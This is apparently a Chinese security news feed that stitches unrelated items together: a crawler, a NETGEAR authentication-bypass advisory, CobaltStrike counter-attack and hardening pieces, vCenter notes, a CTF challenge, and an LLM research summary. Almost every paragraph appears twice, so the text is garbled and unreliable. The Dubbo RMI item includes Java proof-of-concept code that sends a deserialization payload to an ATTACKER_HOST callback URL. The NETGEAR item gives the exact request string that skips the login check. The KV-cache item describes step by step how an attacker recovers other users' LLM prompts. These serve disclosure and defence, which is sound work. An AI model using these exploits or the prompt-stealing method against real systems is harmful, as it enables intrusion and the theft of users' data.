crawlergo 动态爬虫源码学习
crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK，自动进行表单填充并提交，配合智能的JS事件触发，尽可能的收集网站暴露出的入口。内置URL去重模块，过滤掉了大量伪静态URL，对于大型网站仍保持较快的解析与抓取速度，最后得到高质量的请求结果集合。
crawlergo 目前支持以下特性：
* 原生浏览器环境，协程池调度任务
* 表单智能填充、自动化提交
* 完整DOM事件收集，自动化触发
* 智能URL去重，去掉大部分的重复请求
* 全面分析收集，包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz
* 支持Host绑定，自动添加Referer
* 支持请求代理，支持爬虫结果主动推送
crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK，自动进行表单填充并提交，配合智能的JS事件触发，尽可能的收集网站暴露出的入口。内置URL去重模块，过滤掉了大量伪静态URL，对于大型网站仍保持较快的解析与抓取速度，最后得到高质量的请求结果集合。
crawlergo 目前支持以下特性：
* 原生浏览器环境，协程池调度任务
* 表单智能填充、自动化提交
* 完整DOM事件收集，自动化触发
* 智能URL去重，去掉大部分的重复请求
* 全面分析收集，包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz
* 支持Host绑定，自动添加Referer
* 支持请求代理，支持爬虫结果主动推送
This media is not supported in your browser
VIEW IN TELEGRAM
SSD 咨询 – NETGEAR D7000 身份验证绕过
受影响的版本
AC2100 已在固件版本 1.2.0.88 中修复
AC2400 已在固件版本 1.2.0.88 中修复
AC2600 固件版本 1.2.0.88 已修复
D7000 已在固件版本 1.0.1.80 中修复
R6220 固件版本 1.1.0.110 已修复
R6230 已在固件版本 1.1.0.110 中修复
R6260 固件版本 1.1.0.84 已修复
R6330 在固件版本 1.1.0.84 中修复
R6350 已在固件版本 1.1.0.84 中修复
R6700v2 在固件版本 1.2.0.88 中修复
R6800 在固件版本 1.2.0.88 中修复
R6850 在固件版本 1.1.0.84 中修复
R6900v2 在固件版本 1.2.0.88 中修复
R7200 已在固件版本 1.2.0.88 中修复
R7350 已在固件版本 1.2.0.88 中修复
R7400 在固件版本 1.2.0.88 中修复
R7450 在固件版本 1.2.0.88 中修复
在反编译mini_httpdGhidra 中最新固件上的二进制文件时，我们在第 530 行看到以下逻辑
LAB_000104f8：
DAT_0001d4ec_需要_身份验证 = 0；
DAT_0001f24c = 0；
}
pcVar4 = （char * ）FUN_0000b8f0 （1 ）；
iVar3 = strcasecmp ( pcVar5, pcVar4 ) ；
如果(( iVar3 == 0 ) &&
（pcVar6 = strstr （DAT_0001f330，“todo=PNPX_GetShareFolderList” ），pcVar6！= （char * ）0x0 ））{
DAT_0001d4ec_需要_身份验证 = 0；
}
它检查请求行是否包含todo=PNPX_GetShareFolderList，如果包含，则将变量设置为DAT_0001d4ec0。似乎这个变量（我已将其重命名为_needs_auth）用于检查是否需要身份验证才能访问请求的资源。如果设置为 0，则无需用户名和密码即可提供资源。
由于它使用 strstr 来检查，所以字符串需要存在于原始请求行中，但没有检查请求行是否包含其他内容。
受影响的版本
AC2100 已在固件版本 1.2.0.88 中修复
AC2400 已在固件版本 1.2.0.88 中修复
AC2600 固件版本 1.2.0.88 已修复
D7000 已在固件版本 1.0.1.80 中修复
R6220 固件版本 1.1.0.110 已修复
R6230 已在固件版本 1.1.0.110 中修复
R6260 固件版本 1.1.0.84 已修复
R6330 在固件版本 1.1.0.84 中修复
R6350 已在固件版本 1.1.0.84 中修复
R6700v2 在固件版本 1.2.0.88 中修复
R6800 在固件版本 1.2.0.88 中修复
R6850 在固件版本 1.1.0.84 中修复
R6900v2 在固件版本 1.2.0.88 中修复
R7200 已在固件版本 1.2.0.88 中修复
R7350 已在固件版本 1.2.0.88 中修复
R7400 在固件版本 1.2.0.88 中修复
R7450 在固件版本 1.2.0.88 中修复
在反编译mini_httpdGhidra 中最新固件上的二进制文件时，我们在第 530 行看到以下逻辑
LAB_000104f8：
DAT_0001d4ec_需要_身份验证 = 0；
DAT_0001f24c = 0；
}
pcVar4 = （char * ）FUN_0000b8f0 （1 ）；
iVar3 = strcasecmp ( pcVar5, pcVar4 ) ；
如果(( iVar3 == 0 ) &&
（pcVar6 = strstr （DAT_0001f330，“todo=PNPX_GetShareFolderList” ），pcVar6！= （char * ）0x0 ））{
DAT_0001d4ec_需要_身份验证 = 0；
}
它检查请求行是否包含todo=PNPX_GetShareFolderList，如果包含，则将变量设置为DAT_0001d4ec0。似乎这个变量（我已将其重命名为_needs_auth）用于检查是否需要身份验证才能访问请求的资源。如果设置为 0，则无需用户名和密码即可提供资源。
由于它使用 strstr 来检查，所以字符串需要存在于原始请求行中，但没有检查请求行是否包含其他内容。
反击CobaltStrike以假乱真
CobaltStrike（简称CS）作为一款渗透测试神器，采用C/S架构，可进行分布式团队协作。CS集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows exe与dll 木马生、Java 木马生成、Office 宏病毒生成、木马捆绑等强大功能，深受广大红队同学的喜爱。为了规避侦测，红队往往会对CS采用一些隐匿手段，常见方式有云函数和CDN等。这些隐匿手段隐匿了CS的真实IP，诸如DDoS之类的流量无法穿透CDN到达CS，常规的攻击方式难以对CS服务器形成有效干扰和打击。只能止步于此了吗？有没有反击CS的奇技淫巧？答案当然是肯定的！接下来带各位看官体验一种批量伪造肉鸡来戏耍CS的新方法，希望各位蓝队同学引（付）以（诸）为（实）戒（践）
CS上线流量特征分析
首先，我们先研究下CS上线的流量有无特征。图1使用Wireshark分析HTTP型Beacon的上线包
肉眼来看，上线包的敏感信息隐藏到了Cookie中，特征非常明显。通过进一步分析，我们发现上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文，CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息
此处划重点，HTTP型Beacon 上线包的核心在于Cookie，而Cookie是对受控主机元数据的非对称加密的密文
CobaltStrike（简称CS）作为一款渗透测试神器，采用C/S架构，可进行分布式团队协作。CS集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows exe与dll 木马生、Java 木马生成、Office 宏病毒生成、木马捆绑等强大功能，深受广大红队同学的喜爱。为了规避侦测，红队往往会对CS采用一些隐匿手段，常见方式有云函数和CDN等。这些隐匿手段隐匿了CS的真实IP，诸如DDoS之类的流量无法穿透CDN到达CS，常规的攻击方式难以对CS服务器形成有效干扰和打击。只能止步于此了吗？有没有反击CS的奇技淫巧？答案当然是肯定的！接下来带各位看官体验一种批量伪造肉鸡来戏耍CS的新方法，希望各位蓝队同学引（付）以（诸）为（实）戒（践）
CS上线流量特征分析
首先，我们先研究下CS上线的流量有无特征。图1使用Wireshark分析HTTP型Beacon的上线包
肉眼来看，上线包的敏感信息隐藏到了Cookie中，特征非常明显。通过进一步分析，我们发现上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文，CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息
此处划重点，HTTP型Beacon 上线包的核心在于Cookie，而Cookie是对受控主机元数据的非对称加密的密文
使用 RMI 协议的提供程序中的反序列化不安全（GHSL-2021-096）
用户可以选择使用RMI 协议。RMI 协议是在 Spring 之上实现的RmiServiceExporter，并在底层使用 Java RMI。RMI 使用 Java 本机序列化来序列化 RMI 调用的参数。此外，通用服务始终是公开的，因为此服务公开的两种方法都接受广泛的java.lang.Object参数，攻击者将能够发送任意类型并实现 RCE。
用户可以选择使用RMI 协议。RMI 协议是在 Spring 之上实现的RmiServiceExporter，并在底层使用 Java RMI。RMI 使用 Java 本机序列化来序列化 RMI 调用的参数。此外，通用服务始终是公开的，因为此服务公开的两种方法都接受广泛的java.lang.Object参数，攻击者将能够发送任意类型并实现 RCE。
package org.pwntester.dubbo;
import org.apache.dubbo.rpc.service.GenericService;
import org.pwntester.dubbo.utils.Gadgets;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.rmi.RmiProxyFactoryBean;
Configuration
public class RMIProtocol {
protected static final String ATTACKER_HOST = "http://vvuz13v34dlkciswfhuv5v067xdo1d.burpcollaborator.net";
Bean
RmiProxyFactoryBean service() {
RmiProxyFactoryBean rmiProxyFactory = new RmiProxyFactoryBean();
rmiProxyFactory.setServiceUrl("rmi://localhost:1099/org.apache.dubbo.samples.org.apache.dubbo.basic.samples.basic.api.DemoService/generic");
rmiProxyFactory.setServiceInterface(GenericService.class);
return rmiProxyFactory;
}
public static void main(String args[]) throws Exception {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(RMIProtocol.class);
GenericService service = context.getBean(GenericService.class);
Object res = service.$invoke("foo", new String[]{""}, new Object[]{Gadgets.generate_urldns_payload(ATTACKER_HOST)});
System.out.println(res);
}
}
Prompt泄露风险：抖音集团安全研究团队揭露多租户KV缓存共享漏洞
抖音集团安全研究团队和南方科技大学可信系统安全实验室合作的研究论文揭示了大语言模型安全领域服务框架的侧信道漏洞，利用多租户场景下的KV缓存共享机制精确恢复了用户提示词。本工作成果《I Know What You Asked: Prompt Leakage via KV-Cache Sharing in Multi-Tenant LLM Serving》已被安全领域顶级会议NDSS 2025接收。
一、研究背景
大语言模型（LLM）在自然语言处理任务中取得了显著进展，广泛应用于文本生成、翻译、问答等领域，吸引了学术界和工业界的高度关注。这些模型在提供高效、准确的语言处理服务的同时，也面临着由于计算资源需求巨大所带来的性能瓶颈。为了满足不同用户的使用需求，优化资源利用率，大量多租户LLM框架应运而生，通过共享资源和更高效的调度算法，实现性能和成本的有效优化。
在众多多租户LLM的框架中，一个广泛应用的技术就是KV缓存共享（包括SGLang、vLLM等）。KV缓存共享的基本原理是允许不同请求在推理过程中复用已经计算过的KV缓存，但这种共享仅在前序token序列完全相同时才能实现。这种设计保证了不同用户的请求在一定程度上可以复用计算结果，提升了推理效率。目前SGLang提供了SOTA的KV缓存共享策略。具体而言，SGLang使用了一种基于Radix树的结构以便快速索引和访问。此外，SGLang实现了一种优化的调度算法，确保优先处理拥有更长复用匹配的请求，以最大化缓存命中率并减少重复计算。
二、攻击方法
攻击核心：如果攻击者能够观察到自身请求是否触发了KV缓存共享，则可以判断其请求与已处理的请求是否相同或部分相同。攻击者通过每次增加一个token并反复请求，从而逐个token地还原出其他用户的请求内容。
接下来，我们用攻击过程中的一个片段来阐述攻击者如何还原其他用户请求中的一个token。通过反复重复这一操作，攻击者最终可以还原出完整请求。
如下图所示，假设目标语句是“Imagine you are an IT expert”，攻击者已经成功还原出“Imagine you are”，并企图还原出下一个token “an”。
· 本地候选生成：攻击者利用本地LLM来生成可能的token。本地LLM不需要和目标LLM完全相同，只要拥有相同的Tokenizer来确保能够匹配到目标LLM的解析方法即可。在这个例子中，本地LLM可能会生成“a”，“an”，“the”等潜在的候选token。同时，本地LLM也会生成一个最不可能的token作为dummy token，为之后的攻击使用。
· 候选请求发送：在生成本地候选之后， 攻击者会将三批请求依次发送，分别为由dummy token构成的dummy batch，候选token构成的候选batch，和另一批由dummy token构成的dummy batch。这样的设定是为了更容易观测到的侧信道信息。
· 侧信道结果观测：通过观测发送请求的返回顺序作为侧信道信息，攻击者可以判断哪个请求成功触发KV缓存共享，从而确定对应的token。接下来我们对侧信道信息进行具体介绍。
侧信道信息：我们利用调度算法的特性，即与已有KV缓存匹配更长的请求会被优先处理，来实现攻击。成功匹配的请求相比未匹配的请求多一个token匹配，因此更早被处理。我们将请求的返回顺序作为侧信道信息，通过观察哪个请求被优先返回，从而判断其是否触发了缓存共享。
三、实验结果
实验环境：实验环境基于SGLang框架，用户请求设定参考了OpenAI的标准，每3小时发送40次请求，以模拟真实的LLM使用场景。提示数据集包含四类：常规聊天、填空、角色扮演和指令型提示，用于全面评估攻击效果和成本。
下图展示了攻击的最终效果。结果表明，在Llama2-13B模型上，攻击者在知晓提示模版来回复提示输入上成功率达99%，知晓提示输入恢复提示模板成功率为98%，甚至在无任何背景知识恢复全部请求也有95%的成功率。
四、总结与展望
无状态与有状态设计：本工作基于有状态的大语言模型服务框架，即对于用户的共享KV缓存，开展输入窃取攻击，而这种攻击的本质是针对于系统的状态延续所进行的。在大型系统中，用户数据的状态延续往往伴随着潜在的安全风险，所以为了确保安全要尽可能做到单次服务后清除用户状态，如苹果近期提出的Private Computing Cloud。然而，对于延迟要求较高的服务场景，复用缓存等有状态的设计难以避免，但面临着诸如本篇工作的安全挑战。在此基础上，我们已基于本篇工作提出了更安全的KV缓存共享框架，为大语言模型服务提供安全性保障的同时实现了效率的提升。
多租户LLM框架下的资源共享：现有的LLM服务框架会有很多允许多用户/多请求间的共享资源（如KV，memory，Lora adapter），这些共享资源可以很大程度的提高服务性能，但是存在巨大的安全隐患（隐私泄漏，投毒等），所以在设计框架和部署服务的过程中需要谨慎处理基于共享资源的优化。框架设计师和服务提供商需要在保持性能的同时引入足够的隔离机制来保证多租户间的安全性。
KV缓存的安全性考量：KV缓存作为LLM中的独特机制，虽然提升了推理效率，也为LLM的安全性带来了新的攻击面。KV缓存与用户的输入token存在唯一对应关系，这使得一旦出现KV缓存信息泄漏，攻击者便能够通过缓存内容直接推测和重构相应的用户请求，从而导致敏感信息的暴露。本篇工作是第一次注意到了KV缓存所带来的安全风险，希望能够引起广泛的针对这一新属性的安全思考。
抖音集团安全研究团队和南方科技大学可信系统安全实验室合作的研究论文揭示了大语言模型安全领域服务框架的侧信道漏洞，利用多租户场景下的KV缓存共享机制精确恢复了用户提示词。本工作成果《I Know What You Asked: Prompt Leakage via KV-Cache Sharing in Multi-Tenant LLM Serving》已被安全领域顶级会议NDSS 2025接收。
一、研究背景
大语言模型（LLM）在自然语言处理任务中取得了显著进展，广泛应用于文本生成、翻译、问答等领域，吸引了学术界和工业界的高度关注。这些模型在提供高效、准确的语言处理服务的同时，也面临着由于计算资源需求巨大所带来的性能瓶颈。为了满足不同用户的使用需求，优化资源利用率，大量多租户LLM框架应运而生，通过共享资源和更高效的调度算法，实现性能和成本的有效优化。
在众多多租户LLM的框架中，一个广泛应用的技术就是KV缓存共享（包括SGLang、vLLM等）。KV缓存共享的基本原理是允许不同请求在推理过程中复用已经计算过的KV缓存，但这种共享仅在前序token序列完全相同时才能实现。这种设计保证了不同用户的请求在一定程度上可以复用计算结果，提升了推理效率。目前SGLang提供了SOTA的KV缓存共享策略。具体而言，SGLang使用了一种基于Radix树的结构以便快速索引和访问。此外，SGLang实现了一种优化的调度算法，确保优先处理拥有更长复用匹配的请求，以最大化缓存命中率并减少重复计算。
二、攻击方法
攻击核心：如果攻击者能够观察到自身请求是否触发了KV缓存共享，则可以判断其请求与已处理的请求是否相同或部分相同。攻击者通过每次增加一个token并反复请求，从而逐个token地还原出其他用户的请求内容。
接下来，我们用攻击过程中的一个片段来阐述攻击者如何还原其他用户请求中的一个token。通过反复重复这一操作，攻击者最终可以还原出完整请求。
如下图所示，假设目标语句是“Imagine you are an IT expert”，攻击者已经成功还原出“Imagine you are”，并企图还原出下一个token “an”。
· 本地候选生成：攻击者利用本地LLM来生成可能的token。本地LLM不需要和目标LLM完全相同，只要拥有相同的Tokenizer来确保能够匹配到目标LLM的解析方法即可。在这个例子中，本地LLM可能会生成“a”，“an”，“the”等潜在的候选token。同时，本地LLM也会生成一个最不可能的token作为dummy token，为之后的攻击使用。
· 候选请求发送：在生成本地候选之后， 攻击者会将三批请求依次发送，分别为由dummy token构成的dummy batch，候选token构成的候选batch，和另一批由dummy token构成的dummy batch。这样的设定是为了更容易观测到的侧信道信息。
· 侧信道结果观测：通过观测发送请求的返回顺序作为侧信道信息，攻击者可以判断哪个请求成功触发KV缓存共享，从而确定对应的token。接下来我们对侧信道信息进行具体介绍。
侧信道信息：我们利用调度算法的特性，即与已有KV缓存匹配更长的请求会被优先处理，来实现攻击。成功匹配的请求相比未匹配的请求多一个token匹配，因此更早被处理。我们将请求的返回顺序作为侧信道信息，通过观察哪个请求被优先返回，从而判断其是否触发了缓存共享。
三、实验结果
实验环境：实验环境基于SGLang框架，用户请求设定参考了OpenAI的标准，每3小时发送40次请求，以模拟真实的LLM使用场景。提示数据集包含四类：常规聊天、填空、角色扮演和指令型提示，用于全面评估攻击效果和成本。
下图展示了攻击的最终效果。结果表明，在Llama2-13B模型上，攻击者在知晓提示模版来回复提示输入上成功率达99%，知晓提示输入恢复提示模板成功率为98%，甚至在无任何背景知识恢复全部请求也有95%的成功率。
四、总结与展望
无状态与有状态设计：本工作基于有状态的大语言模型服务框架，即对于用户的共享KV缓存，开展输入窃取攻击，而这种攻击的本质是针对于系统的状态延续所进行的。在大型系统中，用户数据的状态延续往往伴随着潜在的安全风险，所以为了确保安全要尽可能做到单次服务后清除用户状态，如苹果近期提出的Private Computing Cloud。然而，对于延迟要求较高的服务场景，复用缓存等有状态的设计难以避免，但面临着诸如本篇工作的安全挑战。在此基础上，我们已基于本篇工作提出了更安全的KV缓存共享框架，为大语言模型服务提供安全性保障的同时实现了效率的提升。
多租户LLM框架下的资源共享：现有的LLM服务框架会有很多允许多用户/多请求间的共享资源（如KV，memory，Lora adapter），这些共享资源可以很大程度的提高服务性能，但是存在巨大的安全隐患（隐私泄漏，投毒等），所以在设计框架和部署服务的过程中需要谨慎处理基于共享资源的优化。框架设计师和服务提供商需要在保持性能的同时引入足够的隔离机制来保证多租户间的安全性。
KV缓存的安全性考量：KV缓存作为LLM中的独特机制，虽然提升了推理效率，也为LLM的安全性带来了新的攻击面。KV缓存与用户的输入token存在唯一对应关系，这使得一旦出现KV缓存信息泄漏，攻击者便能够通过缓存内容直接推测和重构相应的用户请求，从而导致敏感信息的暴露。本篇工作是第一次注意到了KV缓存所带来的安全风险，希望能够引起广泛的针对这一新属性的安全思考。
VMware_vCenter 近期漏洞分析
vSphere Client分为UI层、Java服务层、后端层，前端通过RESTful API与基于Spring MVC和OSGI框架的Java服务层进行通信
vCenter可以安装部署至ESXi，也可以导入镜像中的OVA文件部署，漏洞环境的ISO文件可从此处获取。
需要注意的是VCSA的最小部署规格tiny（微型）需要2核10G内存300G硬盘，本文采用的方案是在ESXi的物理机上嵌套安装ESXi虚拟机，并在嵌套安装的ESXi虚拟机中安装VCSA。保持根路由与一级ESXi物理机VLAN为空（或不变/或为4095），将一级ESXi与二级ESXi的虚拟交换机设置为4095（或某个固定值），将二级ESXi中运行的VCSA接入二级虚拟交换机，并同时开启该链路上的各级交换机的混杂模式
由EAM用户运行的服务存在文件读取，Windows上可获取帐号密码。
vSphere Client分为UI层、Java服务层、后端层，前端通过RESTful API与基于Spring MVC和OSGI框架的Java服务层进行通信
vCenter可以安装部署至ESXi，也可以导入镜像中的OVA文件部署，漏洞环境的ISO文件可从此处获取。
需要注意的是VCSA的最小部署规格tiny（微型）需要2核10G内存300G硬盘，本文采用的方案是在ESXi的物理机上嵌套安装ESXi虚拟机，并在嵌套安装的ESXi虚拟机中安装VCSA。保持根路由与一级ESXi物理机VLAN为空（或不变/或为4095），将一级ESXi与二级ESXi的虚拟交换机设置为4095（或某个固定值），将二级ESXi中运行的VCSA接入二级虚拟交换机，并同时开启该链路上的各级交换机的混杂模式
由EAM用户运行的服务存在文件读取，Windows上可获取帐号密码。
This media is not supported in your browser
VIEW IN TELEGRAM
Chrome Ext 3CL XSS
为 CobaltStrike TeamServer 加上谷歌二次验证
CobaltStrike TeamServer 在认证的时候，是没有类似验证码的功能的，这就为蓝队爆破 TeamServer 密码提供了可能。
再加上攻防演练当中出现的「红队钓鱼事件」，团队中不乏有新鲜血液，稍有不慎就会让用户家目录下的 .aggressor.prop 文件被他人窃取，令团队成果付之东流。
那么如何规避这种情况呢？我们有如下几个方案考虑：
方案一: 直接反编译 CobaltStrike JAR 包，修改逻辑之后重打包。
该方案的好处是可控性强，可以改的面目全非，甚至可以把配置文件中的密码保存改成加密的形式。
缺点也显而易见：
· 首先CS反编译之后重打包挺让人抓狂的，不好弄。
· 其次必须要用专有的 cobaltstrike 去连接，后续如果拿到新的版本，工作量是比较大的
· 团队成员机器如果被控，攻击者完全可以偷走专有的工具和配置文件进行连接
所以该方案 Pass
方案二：网络层动手脚
TeamServer 监听在 127.0.0.1 接口上，通过 SSH 等其它方式建立 Socks5隧道或者 VPN，团队成员在接入 TeamServer 时，先进入到专网当中，再连接。
好处是成本低，无任何额外工作量，TeamServer 监听的端口也不会被 fofa zoomeye 这些网络空间搜索引擎扫描到。
缺点是团队成员机器被控后，攻击者完全可以该成员机器作为跳板，通过专网连接。
所以该方案也 Pass
生成 TOTP SecretKey
java -cp CSTOTP.jar com.maxwell.Main
不要奇怪包名为啥叫麦斯威尔，我自己随便写的
3、掏出你的手机，下载 Google Authenticator (有些叫 谷歌身份验证器)，或者随便找一个支持 2FA 的 APP 就行。然后扫描上面的二维码，或者是手动把 SecretKey 添加进去就行。
这玩意儿请务必保存好，这再被人偷了就只能活该了。攻防演练前生成好，让团队成员扫描这个二维码即可
4、生成 SecretKey 之后，根据最后一行提示，把最后一行的内容添加到 teamserver 这个文件里
红线上的内容之前是没有的，之后我们保存
5、你之前是怎么运行 teamserver 的，现在还是怎么运行
CobaltStrike TeamServer 在认证的时候，是没有类似验证码的功能的，这就为蓝队爆破 TeamServer 密码提供了可能。
再加上攻防演练当中出现的「红队钓鱼事件」，团队中不乏有新鲜血液，稍有不慎就会让用户家目录下的 .aggressor.prop 文件被他人窃取，令团队成果付之东流。
那么如何规避这种情况呢？我们有如下几个方案考虑：
方案一: 直接反编译 CobaltStrike JAR 包，修改逻辑之后重打包。
该方案的好处是可控性强，可以改的面目全非，甚至可以把配置文件中的密码保存改成加密的形式。
缺点也显而易见：
· 首先CS反编译之后重打包挺让人抓狂的，不好弄。
· 其次必须要用专有的 cobaltstrike 去连接，后续如果拿到新的版本，工作量是比较大的
· 团队成员机器如果被控，攻击者完全可以偷走专有的工具和配置文件进行连接
所以该方案 Pass
方案二：网络层动手脚
TeamServer 监听在 127.0.0.1 接口上，通过 SSH 等其它方式建立 Socks5隧道或者 VPN，团队成员在接入 TeamServer 时，先进入到专网当中，再连接。
好处是成本低，无任何额外工作量，TeamServer 监听的端口也不会被 fofa zoomeye 这些网络空间搜索引擎扫描到。
缺点是团队成员机器被控后，攻击者完全可以该成员机器作为跳板，通过专网连接。
所以该方案也 Pass
生成 TOTP SecretKey
java -cp CSTOTP.jar com.maxwell.Main
不要奇怪包名为啥叫麦斯威尔，我自己随便写的
3、掏出你的手机，下载 Google Authenticator (有些叫 谷歌身份验证器)，或者随便找一个支持 2FA 的 APP 就行。然后扫描上面的二维码，或者是手动把 SecretKey 添加进去就行。
这玩意儿请务必保存好，这再被人偷了就只能活该了。攻防演练前生成好，让团队成员扫描这个二维码即可
4、生成 SecretKey 之后，根据最后一行提示，把最后一行的内容添加到 teamserver 这个文件里
红线上的内容之前是没有的，之后我们保存
5、你之前是怎么运行 teamserver 的，现在还是怎么运行
您能破解文档吗？
对于这个挑战，我们提供了一个名为“CrackDoc.doc”的文件，当我们打开它时，我们会看到一个“UsersForm1”提示，要求输入“Key”值。
输入错误的键会显示一条消息“你能做到。再努力一点...”，并附上一张可爱的狗狗图片。
对于这个挑战，我们提供了一个名为“CrackDoc.doc”的文件，当我们打开它时，我们会看到一个“UsersForm1”提示，要求输入“Key”值。
输入错误的键会显示一条消息“你能做到。再努力一点...”，并附上一张可爱的狗狗图片。